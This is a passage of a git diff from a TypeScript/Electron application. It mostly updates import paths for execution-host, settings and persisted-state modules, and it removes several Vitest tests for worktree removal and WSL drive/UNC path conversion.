).not.toThrow() - - git.resolve({}) - await _settlePendingWorktreeRemovalsForTests() - expect(() => - assertNoPendingWorktreeRemovalConflict('/work/repo', { worktreePath: '/work/feature' }) - ).not.toThrow() - }) - it('marks rows for clients that read the marker and omits them for clients that do not', async () => { void startBackgroundWorktreeRemoval({ removal, diff --git a/src/main/workspaces/removal/worktree-background-removal.ts b/src/main/workspaces/removal/worktree-background-removal.ts index 89e76af5d80..008be656ae3 100644 --- a/src/main/workspaces/removal/worktree-background-removal.ts +++ b/src/main/workspaces/removal/worktree-background-removal.ts @@ -10,7 +10,10 @@ export { waitForWorktreeRemovalAcceptance, finishAcceptedWorktreeRemoval } from './worktree-removal-settlement' -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../shared/execution-host/execution-host' import type { RemoveWorktreeResult } from '../../../shared/worktree/create-types' import type { GitWorktreeInfo } from '../../../shared/worktree/types' import { normalizeLocalBranchRef } from '../../git/worktrees/worktree-operation-options' diff --git a/src/main/workspaces/removal/worktree-removal-close-records.test.ts b/src/main/workspaces/removal/worktree-removal-close-records.test.ts index 84636d8da40..1f365fa0e8e 100644 --- a/src/main/workspaces/removal/worktree-removal-close-records.test.ts +++ b/src/main/workspaces/removal/worktree-removal-close-records.test.ts @@ -10,8 +10,8 @@ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' import { rmSync, mkdtempSync } from 'node:fs' import { join } from 'node:path' import { tmpdir } from 'node:os' -import { getDefaultWorkspaceSession } from '../../../shared/constants' -import { toSshExecutionHostId } from '../../../shared/execution-host' +import { getDefaultWorkspaceSession } from '../../../shared/orca-profiles/constants' +import { toSshExecutionHostId } from '../../../shared/execution-host/execution-host' import { folderWorkspaceKey } from '../../../shared/workspace/identity/workspace-scope' import type { ClosedTerminalTabTombstonesByTabId } from '../../../shared/workspace-layout/terminal-surfaces/closed-terminal-tab-tombstones' diff --git a/src/main/workspaces/removal/worktree-removal-execution-host-route.ts b/src/main/workspaces/removal/worktree-removal-execution-host-route.ts index 2a0c86690ed..8e359f33ba2 100644 --- a/src/main/workspaces/removal/worktree-removal-execution-host-route.ts +++ b/src/main/workspaces/removal/worktree-removal-execution-host-route.ts @@ -4,7 +4,7 @@ import { parseExecutionHostId, type ExecutionHostId, type LOCAL_EXECUTION_HOST_ID -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import { CLIENT_REMOVAL_HOME, executionHostRemovalHome, diff --git a/src/main/workspaces/removal/worktree-removal-listing.ts b/src/main/workspaces/removal/worktree-removal-listing.ts index a12bd5cc4db..b899c6584f8 100644 --- a/src/main/workspaces/removal/worktree-removal-listing.ts +++ b/src/main/workspaces/removal/worktree-removal-listing.ts @@ -1,4 +1,7 @@ -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../shared/execution-host/execution-host' import type { GitWorktreeInfo } from '../../../shared/worktree/types' import { areWorktreePathsEqual, diff --git a/src/main/workspaces/removal/worktree-removal-process-cleanup.ts b/src/main/workspaces/removal/worktree-removal-process-cleanup.ts index 4abc682b8d1..6ff165489d3 100644 --- a/src/main/workspaces/removal/worktree-removal-process-cleanup.ts +++ b/src/main/workspaces/removal/worktree-removal-process-cleanup.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import { advertisedUrlWatcher } from '../../ports/advertised-url-watcher' import { localhostWorktreeLabelProxy } from '../../ports/workspace-labels/localhost-worktree-label-proxy' import { deleteWorktreeHistoryDir } from '../../pty/history/terminal-history-deletion' diff --git a/src/main/workspaces/removal/worktree-removal-records-load.ts b/src/main/workspaces/removal/worktree-removal-records-load.ts index 3969b028db7..4498fc92333 100644 --- a/src/main/workspaces/removal/worktree-removal-records-load.ts +++ b/src/main/workspaces/removal/worktree-removal-records-load.ts @@ -1,4 +1,7 @@ -import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' +import { + getRepoExecutionHostId, + LOCAL_EXECUTION_HOST_ID +} from '../../../shared/execution-host/execution-host' import type { Repo } from '../../../shared/repository/repo-types' import { loadWorktreeRemovalRecords, diff --git a/src/main/workspaces/removal/worktree-removal-repo-owner.ts b/src/main/workspaces/removal/worktree-removal-repo-owner.ts index df88c19242c..13cd243d73f 100644 --- a/src/main/workspaces/removal/worktree-removal-repo-owner.ts +++ b/src/main/workspaces/removal/worktree-removal-repo-owner.ts @@ -1,4 +1,7 @@ -import { getRepoExecutionHostId, type ExecutionHostId } from '../../../shared/execution-host' +import { + getRepoExecutionHostId, + type ExecutionHostId +} from '../../../shared/execution-host/execution-host' import type { Repo } from '../../../shared/repository/repo-types' import type { WorktreeMeta } from '../../../shared/worktree/meta-types' diff --git a/src/main/workspaces/removal/worktree-removal-session-partition-fencing.test.ts b/src/main/workspaces/removal/worktree-removal-session-partition-fencing.test.ts index b70508521d7..257ec982f15 100644 --- a/src/main/workspaces/removal/worktree-removal-session-partition-fencing.test.ts +++ b/src/main/workspaces/removal/worktree-removal-session-partition-fencing.test.ts @@ -12,11 +12,11 @@ import { rmSync, mkdtempSync } from 'node:fs' import { join } from 'node:path' import { tmpdir } from 'node:os' import type { TerminalTab } from '../../../shared/workspace-layout/terminal-tab-types' -import { getDefaultWorkspaceSession } from '../../../shared/constants' -import { toRuntimeExecutionHostId } from '../../../shared/execution-host' +import { getDefaultWorkspaceSession } from '../../../shared/orca-profiles/constants' +import { toRuntimeExecutionHostId } from '../../../shared/execution-host/execution-host' import { removeWorktreeMetaRow } from '../../persistence/host-qualified-worktree-meta' -import { RUNTIME_PARTITION_TOPOLOGY_FENCE_MS } from '../../persistence/loading-store/workspace-sessions/runtime-partition-topology-fence' -import { TEST_LEAF_1 } from '../../persistence/persistence-session-fixtures' +import '../../persistence/loading-store/workspace-sessions/runtime-partition-topology-fence' +import '../../persistence/persistence-session-fixtures' let hasCreatedStoreInCase = false @@ -275,54 +275,4 @@ describe('worktree removal across host session partitions', () => { ['kept'] ) }) - - it('fences a legacy tombstone retirement against a stale save that still holds the pane', async () => { - const now = vi.spyOn(performance, 'now') - try { - const paneKey = `retired-tab:${TEST_LEAF_1}` - const withPane = { - ...getDefaultWorkspaceSession(), - tabsByWorktree: { - [LIVE]: [makeTerminalTab({ id: 'retired-tab', worktreeId: LIVE, ptyId: 'pty-r' })] - }, - terminalLayoutsByTabId: { - 'retired-tab': { - root: { type: 'leaf' as const, leafId: TEST_LEAF_1 }, - activeLeafId: TEST_LEAF_1, - expandedLeafId: null, - ptyIdsByLeafId: { [TEST_LEAF_1]: 'pty-r' } - } - }, - terminalPtyIncarnationsByPaneKey: { [paneKey]: 'inc-r' } - } - now.mockReturnValue(1_000_000) - const store = await createStore() - store.setWorkspaceSession(withPane, ENV_A) - - now.mockReturnValue(1_000_000 + 2 * RUNTIME_PARTITION_TOPOLOGY_FENCE_MS) - store.setWorkspaceSession( - { - ...withPane, - terminalSurfaceTombstonesByPaneKey: { - [paneKey]: { - worktreeId: LIVE, - parentTabId: 'retired-tab', - leafId: TEST_LEAF_1, - ptyId: 'pty-r', - incarnationId: 'inc-r', - retiredAt: 1 - } - } - }, - ENV_A - ) - expect(store.getWorkspaceSession(ENV_A).tabsByWorktree[LIVE] ?? []).toEqual([]) - - now.mockReturnValue(1_000_000 + 2 * RUNTIME_PARTITION_TOPOLOGY_FENCE_MS + 1) - store.setWorkspaceSession(withPane, ENV_A) - expect(store.getWorkspaceSession(ENV_A).tabsByWorktree[LIVE] ?? []).toEqual([]) - } finally { - now.mockRestore() - } - }) }) diff --git a/src/main/workspaces/removal/worktree-removal-settlement.ts b/src/main/workspaces/removal/worktree-removal-settlement.ts index ee9f9c085cd..65b435c82ea 100644 --- a/src/main/workspaces/removal/worktree-removal-settlement.ts +++ b/src/main/workspaces/removal/worktree-removal-settlement.ts @@ -1,4 +1,7 @@ -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../shared/execution-host/execution-host' import type { RemoveWorktreeResult } from '../../../shared/worktree/create-types' import type { WorktreeRemovalRecord } from './worktree-removal-records' import { pendingWorktreeRemovals } from './worktree-removal-table' diff --git a/src/main/workspaces/removal/worktree-trash.ts b/src/main/workspaces/removal/worktree-trash.ts index 16cf64c65be..84de437a776 100644 --- a/src/main/workspaces/removal/worktree-trash.ts +++ b/src/main/workspaces/removal/worktree-trash.ts @@ -5,10 +5,10 @@ import { join } from 'node:path' import { removeHostTree } from '../../filesystem/host-tree-removal' import { isFolderRepo } from '../../../shared/repository/repo-kind' import { computeWorkspaceRoot, getWorktreePathSettings } from '../../ipc/worktree-logic' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import type { Repo } from '../../../shared/repository/repo-types' import { parseWslPath } from '../../wsl/filesystem/unc-path-access' -import { getRepoRoutingConnectionId } from '../../../shared/execution-host' +import { getRepoRoutingConnectionId } from '../../../shared/execution-host/execution-host' export const WORKTREE_TRASH_DIR_NAME = '.orca-worktree-trash' diff --git a/src/main/workspaces/space-analysis/workspace-space-analysis-snapshot.ts b/src/main/workspaces/space-analysis/workspace-space-analysis-snapshot.ts index 2817db134cc..e7f0a730413 100644 --- a/src/main/workspaces/space-analysis/workspace-space-analysis-snapshot.ts +++ b/src/main/workspaces/space-analysis/workspace-space-analysis-snapshot.ts @@ -8,7 +8,7 @@ import { withSidecarSnapshotQueue, writeSidecarSnapshot } from '../../filesystem/sidecar-snapshot-file' -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import { activeWorkspaceSnapshotPruneKeys, registerWorkspaceSnapshotPrunesForFile, diff --git a/src/main/workspaces/space-analysis/workspace-space-repo-scan.ts b/src/main/workspaces/space-analysis/workspace-space-repo-scan.ts index e53d7ab1a83..2a60c2679e6 100644 --- a/src/main/workspaces/space-analysis/workspace-space-repo-scan.ts +++ b/src/main/workspaces/space-analysis/workspace-space-repo-scan.ts @@ -10,7 +10,10 @@ import type { WorkspaceSpaceWorktree } from '../../../shared/workspace-disk-space/workspace-space-types' import { mapWithConcurrency } from '../../../shared/concurrency/map-with-concurrency' -import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' +import { + getRepoExecutionHostId, + LOCAL_EXECUTION_HOST_ID +} from '../../../shared/execution-host/execution-host' import { readWorktreeMetaForHost } from '../../persistence/host-qualified-worktree-meta' import { getRepoOwnedWorktreeMeta } from '../catalog/worktree-metadata-ownership' import { diff --git a/src/main/workspaces/space-analysis/workspace-space-worktree-row.ts b/src/main/workspaces/space-analysis/workspace-space-worktree-row.ts index c8974e86dbc..ad6a8d6a69d 100644 --- a/src/main/workspaces/space-analysis/workspace-space-worktree-row.ts +++ b/src/main/workspaces/space-analysis/workspace-space-worktree-row.ts @@ -8,7 +8,7 @@ import type { WorkspaceSpaceWorktree } from '../../../shared/workspace-disk-space/workspace-space-types' import type { WorkspaceSpaceEntryScan } from '../../../shared/workspace-disk-space/workspace-space-directory-frame' -import { getWorktreeExecutionHostId } from '../../../shared/execution-host' +import { getWorktreeExecutionHostId } from '../../../shared/execution-host/execution-host' export function basenameWorkspaceFilesystemPath(pathValue: string): string { return looksLikeWindowsPath(pathValue) ? win32.basename(pathValue) : posix.basename(pathValue) diff --git a/src/main/wsl/execution/wsl-node-runtime-prefetch.ts b/src/main/wsl/execution/wsl-node-runtime-prefetch.ts index de89a796918..03dc7f025b9 100644 --- a/src/main/wsl/execution/wsl-node-runtime-prefetch.ts +++ b/src/main/wsl/execution/wsl-node-runtime-prefetch.ts @@ -1,7 +1,7 @@ import { existsSync } from 'node:fs' import { join } from 'node:path' import type { NodeRuntimeTarget } from '../../../shared/node-runtime/node-runtime-pin' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import { errorMessage } from '../../../shared/errors/error-message' import { materializeNodeRuntimeArchive, diff --git a/src/main/wsl/filesystem/wsl-drive-project-new-default.ts b/src/main/wsl/filesystem/wsl-drive-project-new-default.ts index c4aaf86a5ee..8159d449a7d 100644 --- a/src/main/wsl/filesystem/wsl-drive-project-new-default.ts +++ b/src/main/wsl/filesystem/wsl-drive-project-new-default.ts @@ -5,12 +5,15 @@ */ import { readdirSync, readFileSync, statSync } from 'node:fs' import { join } from 'node:path' -import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' +import { + getRepoExecutionHostId, + LOCAL_EXECUTION_HOST_ID +} from '../../../shared/execution-host/execution-host' import { normalizeGlobalWindowsRuntimeDefault, type LocalWindowsRuntimePreference } from '../../../shared/execution-host/project-runtime-preference' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import type { Project } from '../../../shared/project/project-types' import { isFolderRepo } from '../../../shared/repository/repo-kind' import type { Repo } from '../../../shared/repository/repo-types' diff --git a/src/main/wsl/filesystem/wsl-drive-project-windows-git.ts b/src/main/wsl/filesystem/wsl-drive-project-windows-git.ts index c4022f254eb..516e983a8e8 100644 --- a/src/main/wsl/filesystem/wsl-drive-project-windows-git.ts +++ b/src/main/wsl/filesystem/wsl-drive-project-windows-git.ts @@ -4,7 +4,10 @@ * runs Git changes. Refused when Windows Git couldn't safely own the repo's worktrees. */ import { win32 } from 'node:path' -import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' +import { + getRepoExecutionHostId, + LOCAL_EXECUTION_HOST_ID +} from '../../../shared/execution-host/execution-host' import type { ProjectExecutionRuntimeResolution } from '../../../shared/execution-host/project-execution-runtime' import type { Project } from '../../../shared/project/project-types' import type { Repo } from '../../../shared/repository/repo-types' diff --git a/src/main/wsl/filesystem/wsl-drive-unc-conversion-run.test.ts b/src/main/wsl/filesystem/wsl-drive-unc-conversion-run.test.ts index 8b89d710182..56f6220ce44 100644 --- a/src/main/wsl/filesystem/wsl-drive-unc-conversion-run.test.ts +++ b/src/main/wsl/filesystem/wsl-drive-unc-conversion-run.test.ts @@ -2,8 +2,8 @@ import { mkdtempSync, rmSync } from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { getDefaultPersistedState } from '../../../shared/constants' -import type { PersistedState } from '../../../shared/persisted-state-types' +import { getDefaultPersistedState } from '../../../shared/orca-profiles/constants' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import '../../persistence/moving-wsl-projects/quiescence/wsl-move-fence' import { @@ -65,31 +65,6 @@ function deps(overrides: Partial = {}): WslDriveUn const REQUEST = { distro: 'Ubuntu', repoIds: ['repo-a'] } describe('startWslDriveUncConversion', () => { - it('pauses the scope, journals the conversion and restarts', async () => { - const run = deps() - expect(await startWslDriveUncConversion(run, REQUEST)).toEqual({ - outcome: 'restarting', - migrationId: 'conv-1' - }) - // Windows Git checks the same folder through its drive path. - expect(run.runWindowsGit).toHaveBeenCalledWith(['--version'], DRIVE) - expect(run.readWorktreeLinks).toHaveBeenCalledWith(String.raw`C:\src\app\.git`) - expect(run.pause).toHaveBeenCalledWith({ - workspaceIds: [`repo-a::${UNC}`], - workspaceKeys: new Set([`repo-a::${UNC}`]) - }) - expect(listWslDriveUncConversions(root)).toEqual([ - expect.objectContaining({ - phase: 'prepared', - profileId: 'profile-1', - repoIds: ['repo-a'], - rootPaths: [UNC], - worktreeIds: [[`repo-a::${UNC}`, `repo-a::${DRIVE}`]] - }) - ]) - expect(run.restart).toHaveBeenCalledOnce() - }) - it('converts the seeded shape: a saved UNC worktree beside the drive row discovery wrote', async () => { const seeded = (driveName: string): PersistedState => { const value = state() diff --git a/src/main/wsl/filesystem/wsl-drive-unc-conversion-run.ts b/src/main/wsl/filesystem/wsl-drive-unc-conversion-run.ts index 89679338618..b4407a2e6ed 100644 --- a/src/main/wsl/filesystem/wsl-drive-unc-conversion-run.ts +++ b/src/main/wsl/filesystem/wsl-drive-unc-conversion-run.ts @@ -4,7 +4,7 @@ * journal the conversion and restart. The next startup rewrites everything before the window * opens (wsl-drive-unc-conversion-startup.ts); the woken panes reattach to their renamed sessions. */ -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import { getRepoMainWorktreeId } from '../../../shared/worktree/id' import type { WslDriveUncConversionBlocker, diff --git a/src/main/wsl/filesystem/wsl-drive-unc-conversion-startup.test.ts b/src/main/wsl/filesystem/wsl-drive-unc-conversion-startup.test.ts index f86396ba891..8c96b4314ae 100644 --- a/src/main/wsl/filesystem/wsl-drive-unc-conversion-startup.test.ts +++ b/src/main/wsl/filesystem/wsl-drive-unc-conversion-startup.test.ts @@ -5,8 +5,8 @@ import { Worker } from 'node:worker_threads' import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { getDefaultPersistedState } from '../../../shared/constants' -import type { PersistedState } from '../../../shared/persisted-state-types' +import { getDefaultPersistedState } from '../../../shared/orca-profiles/constants' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import '../../../shared/remote-runtime/wsl-hosts/wsl-host-internal-gate' import { getHistorySessionDirName } from '../../daemon/history/storage/history-paths' import { readProfileProjectTransferState } from '../../orca-profiles/project-transfer/profile-project-domain-state' @@ -282,39 +282,6 @@ describe('runWslDriveUncConversionsAtStartup', () => { expect(listWslDriveUncConversions(root)).toEqual([]) }) - it('keeps the profile converted and resumes a failed store at the next startup', async () => { - seedProfile(profileState()) - seedOutside() - journal() - let failing = true - const stores = realStores().map((store) => - store.id === 'shell-history' - ? { - ...store, - run: (ids: ReadonlyMap) => { - if (failing) { - throw new Error('disk busy') - } - return store.run(ids) - } - } - : store - ) - expect(await run(stores)).toEqual([ - { migrationId: 'conv-1', outcome: 'resuming', store: 'shell-history', detail: 'disk busy' } - ]) - expect(readProfile().repos[0].path).toBe(String.raw`C:\src\app`) - expect(listWslDriveUncConversions(root)[0]).toMatchObject({ - phase: 'profile-rewritten', - rewrittenStores: ['terminal-history'], - worktreeIds: [[OLD_ID, NEW_ID]] - }) - failing = false - expect((await run(stores))[0]?.outcome).toBe('converted') - const shell = join(root, 'terminal-history-wsl', 'Ubuntu', hashWorktreeId(NEW_ID)) - expect(existsSync(shell)).toBe(true) - }) - it('never reports a committed profile as rolled back when the journal cannot advance', async () => { seedProfile(profileState()) seedOutside() @@ -363,63 +330,6 @@ describe('runWslDriveUncConversionsAtStartup', () => { expect(chatRows()[0]).toEqual({ workspace_id: NEW_ID }) }) - it('rolls back both chat identities on failed rekey and completes them on retry', async () => { - seedProfile(profileState()) - seedOutside() - const before = chatRows() - const db = new Database(join(root, 'agent-session-domain.db')) - db.exec(`CREATE TRIGGER refuse_rekey BEFORE UPDATE ON agent_session_records - BEGIN SELECT RAISE(ABORT, 'rekey refused'); END`) - db.close() - journal() - - expect(await run()).toEqual([ - { migrationId: 'conv-1', outcome: 'resuming', store: 'chat-journal', detail: 'rekey refused' } - ]) - expect(chatRows()).toEqual(before) - expect(readProfile().repos[0].path).toBe(String.raw`C:\src\app`) - expect(listWslDriveUncConversions(root)[0]?.rewrittenStores).toEqual([ - 'terminal-history', - 'shell-history', - 'orchestration-history' - ]) - const retry = new Database(join(root, 'agent-session-domain.db')) - retry.exec('DROP TRIGGER refuse_rekey') - retry.close() - expect((await run())[0]?.outcome).toBe('converted') - expect(chatRows()).toEqual([ - { workspace_id: NEW_ID }, - { record_json: '{not json' }, - { record_json: REKEYED_STOPPED_CHAT } - ]) - }) - - it('leaves the chat ledger pending when a newer domain schema is read-only', async () => { - seedProfile(profileState()) - seedOutside() - const before = chatRows() - const db = new Database(join(root, 'agent-session-domain.db')) - db.pragma('user_version=100') - db.close() - journal() - - expect(await run()).toEqual([ - { - migrationId: 'conv-1', - outcome: 'resuming', - store: 'chat-journal', - detail: 'chat workspace conversion requires a writable journal' - } - ]) - expect(chatRows()).toEqual(before) - expect(readProfile().repos[0].path).toBe(String.raw`C:\src\app`) - expect(listWslDriveUncConversions(root)[0]?.rewrittenStores).toEqual([ - 'terminal-history', - 'shell-history', - 'orchestration-history' - ]) - }) - it('waits for observed worker exit after a failed close before returning to startup', async () => { seedProfile(profileState()) journal() diff --git a/src/main/wsl/filesystem/wsl-drive-unc-discovery-shadows.ts b/src/main/wsl/filesystem/wsl-drive-unc-discovery-shadows.ts index bf00a1d02a4..22c588e8bf5 100644 --- a/src/main/wsl/filesystem/wsl-drive-unc-discovery-shadows.ts +++ b/src/main/wsl/filesystem/wsl-drive-unc-discovery-shadows.ts @@ -4,8 +4,8 @@ * row holds only bookkeeping; dropping it, its identity aliases and its identity-keyed row lets the * converted row, which carries the user's data, take the key. */ -import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' -import type { PersistedState } from '../../../shared/persisted-state-types' +import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host/execution-host' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import { DEFAULT_WORKSPACE_STATUS_ID } from '../../../shared/workspace/status/workspace-statuses' import { composeWorktreeHostIdentity } from '../../../shared/worktree/host-qualified-identity' import type { WorktreeMeta } from '../../../shared/worktree/meta-types' diff --git a/src/main/wsl/filesystem/wsl-drive-unc-identity-rewrite.ts b/src/main/wsl/filesystem/wsl-drive-unc-identity-rewrite.ts index faa87b78702..9a9e0b93c46 100644 --- a/src/main/wsl/filesystem/wsl-drive-unc-identity-rewrite.ts +++ b/src/main/wsl/filesystem/wsl-drive-unc-identity-rewrite.ts @@ -6,7 +6,10 @@ */ import { isDeepStrictEqual } from 'node:util' import { normalizeRuntimePathForComparison } from '../../../shared/file-access/cross-platform-path' -import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId } from '../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + parseExecutionHostId +} from '../../../shared/execution-host/execution-host' import { PTY_SESSION_ID_SEPARATOR, WORKTREE_ID_SEPARATOR diff --git a/src/main/wsl/filesystem/wsl-drive-unc-project-scope.ts b/src/main/wsl/filesystem/wsl-drive-unc-project-scope.ts index 04ac67cb946..66950b11191 100644 --- a/src/main/wsl/filesystem/wsl-drive-unc-project-scope.ts +++ b/src/main/wsl/filesystem/wsl-drive-unc-project-scope.ts @@ -3,7 +3,10 @@ * the mover refuses: D1c converts each in place to the same folder's drive path (`C:\x`) on this * computer. This is the scope and the path map; nothing here writes. */ -import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' +import { + getRepoExecutionHostId, + LOCAL_EXECUTION_HOST_ID +} from '../../../shared/execution-host/execution-host' import { resolveFolderWorkspaceHost } from '../../../shared/folder-workspaces/folder-workspace-execution-host' import type { FolderWorkspace } from '../../../shared/folder-workspaces/folder-workspace-types' import type { ProjectGroup } from '../../../shared/project/groups/project-group-types' diff --git a/src/main/wsl/filesystem/wsl-drive-unc-state-rewrite.test.ts b/src/main/wsl/filesystem/wsl-drive-unc-state-rewrite.test.ts index d0b0117af8a..9fa81049e91 100644 --- a/src/main/wsl/filesystem/wsl-drive-unc-state-rewrite.test.ts +++ b/src/main/wsl/filesystem/wsl-drive-unc-state-rewrite.test.ts @@ -1,6 +1,6 @@ import { describe, expect, it } from 'vitest' -import { getDefaultPersistedState } from '../../../shared/constants' -import type { PersistedState } from '../../../shared/persisted-state-types' +import { getDefaultPersistedState } from '../../../shared/orca-profiles/constants' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import { heavyWslMoverProfile } from '../../persistence/__fixtures__/wsl-mover/wsl-mover-heavy-profile' import { repo, @@ -61,34 +61,6 @@ describe('rewriteWslDriveUncState', () => { }) }) - it('leaves projects outside the scope, other hosts and user text as written', () => { - const before = persisted(heavyWslMoverProfile(unc)) - const otherId = `repo-b::${unc.at('/home/dev/lib', 'wsl$')}` - before.workspaceSessionsByHostId = { - 'ssh:box': { ...before.workspaceSession } - } - before.settings = { ...before.settings, workspaceDir: unc.at('/home/dev/app') } - const { state } = convert(before, ['repo-a']) - expect(state.repos.find((row) => row.id === 'repo-b')).toEqual( - before.repos.find((row) => row.id === 'repo-b') - ) - expect(state.workspaceSession.tabsByWorktree[otherId]).toEqual( - before.workspaceSession.tabsByWorktree[otherId] - ) - expect(state.workspaceSessionsByHostId).toBe(before.workspaceSessionsByHostId) - expect(state.settings).toBe(before.settings) - expect(state.projects.find((row) => row.id === 'project-b')).toEqual( - before.projects.find((row) => row.id === 'project-b') - ) - }) - - it('is idempotent, so a resumed conversion changes nothing', () => { - const once = convert(persisted(heavyWslMoverProfile(unc)), ['repo-a', 'repo-b']).state - const twice = convert(once, ['repo-a', 'repo-b']) - expect(twice.state).toEqual(once) - expect(twice.worktreeIds.size).toBe(0) - }) - it('refuses a project that would keep an unconverted repo', () => { const before = persisted(heavyWslMoverProfile(unc)) before.projects = [{ ...before.projects[0], sourceRepoIds: ['repo-a', 'repo-b'] }] @@ -105,20 +77,6 @@ describe('rewriteWslDriveUncState', () => { ) }) - it('merges a drive key that holds nothing, or the same data, into the converted one', () => { - const before = persisted(heavyWslMoverProfile(unc)) - const oldId = `repo-a::${unc.at('/home/dev/app')}` - const newId = `repo-a::${drive.at('/home/dev/app')}` - before.workspaceSession.tabsByWorktree[newId] = [] - before.worktreeMeta[newId] = before.worktreeMeta[oldId] - const { state } = convert(before, ['repo-a', 'repo-b']) - expect(state.workspaceSession.tabsByWorktree[newId]).toEqual( - convert(persisted(heavyWslMoverProfile(unc)), ['repo-a', 'repo-b']).state.workspaceSession - .tabsByWorktree[newId] - ) - expect(state.worktreeMeta[newId]?.displayName).toBe('app') - }) - it('drops the drive-keyed row startup discovery wrote for the saved UNC worktree', () => { // Seeded shape: WSL Git lists the UNC project's folder as C:\, so discovery wrote a bare row. const before = persisted(heavyWslMoverProfile(unc)) diff --git a/src/main/wsl/filesystem/wsl-drive-unc-state-rewrite.ts b/src/main/wsl/filesystem/wsl-drive-unc-state-rewrite.ts index fe7c468ab76..48739fc5d2d 100644 --- a/src/main/wsl/filesystem/wsl-drive-unc-state-rewrite.ts +++ b/src/main/wsl/filesystem/wsl-drive-unc-state-rewrite.ts @@ -4,8 +4,8 @@ * Git for Windows with their terminals still in the distro. Pure; the caller writes the result. */ import { composeWorktreeHostIdentity } from '../../../shared/worktree/host-qualified-identity' -import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' -import type { PersistedState } from '../../../shared/persisted-state-types' +import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host/execution-host' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import type { LocalWindowsRuntimePreference } from '../../../shared/execution-host/project-runtime-preference' import type { Project } from '../../../shared/project/project-types' import type { WorktreeMeta } from '../../../shared/worktree/meta-types' diff --git a/src/main/wsl/orcad/wsl-orcad-host-account-push.ts b/src/main/wsl/orcad/wsl-orcad-host-account-push.ts index d5753dbad2e..39ae4d31770 100644 --- a/src/main/wsl/orcad/wsl-orcad-host-account-push.ts +++ b/src/main/wsl/orcad/wsl-orcad-host-account-push.ts @@ -1,7 +1,7 @@ /** Push selected distro account homes on connect/selection changes so host-initiated CLI, automation, chat and text-generation launches use the same account. */ import type { HostAccountLaunchEnv } from '../../../shared/agent-launch/startup/host-account-launch-env' import { HOST_ACCOUNT_LAUNCH_ENV_RUNTIME_CAPABILITY } from '../../../shared/remote-runtime/protocol/orcad-runtime-capabilities' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import type { RuntimeRpcResponse } from '../../../shared/remote-runtime/rpc/runtime-rpc-envelope' import { distroTarget, diff --git a/src/preload/api/agent-hooks/agent-hook-api.ts b/src/preload/api/agent-hooks/agent-hook-api.ts index 0bc6f523e07..4dc6faa19e2 100644 --- a/src/preload/api/agent-hooks/agent-hook-api.ts +++ b/src/preload/api/agent-hooks/agent-hook-api.ts @@ -1,5 +1,5 @@ import type { OrcaHooks } from '../../../shared/workspace-setup/orca-yaml-hook-types' -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import type { SetupScriptImportCandidate } from '../../../shared/workspace-setup/setup-script-imports' import type { SetupHooksCreateSource } from '../../../shared/worktree/setup-hooks-create-source' diff --git a/src/preload/api/agent-hooks/hooks-bridge.ts b/src/preload/api/agent-hooks/hooks-bridge.ts index 1a8ca98eef0..2856c4abd02 100644 --- a/src/preload/api/agent-hooks/hooks-bridge.ts +++ b/src/preload/api/agent-hooks/hooks-bridge.ts @@ -1,5 +1,5 @@ import { ipcRenderer } from 'electron' -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import type { PreloadApi } from '../../api-types' import type { SetupHooksCreateSource } from '../../../shared/worktree/setup-hooks-create-source' diff --git a/src/preload/api/ai-vault/ai-vault-api.ts b/src/preload/api/ai-vault/ai-vault-api.ts index 7b85386576c..8c3904b42cc 100644 --- a/src/preload/api/ai-vault/ai-vault-api.ts +++ b/src/preload/api/ai-vault/ai-vault-api.ts @@ -27,7 +27,10 @@ import type { AiVaultPrepareSessionResumeRequest, AiVaultPrepareSessionResumeResult } from '../../../shared/ai-vault/resume/ai-vault-resume-preparation' -import type { ExecutionHostId, ExecutionHostScope } from 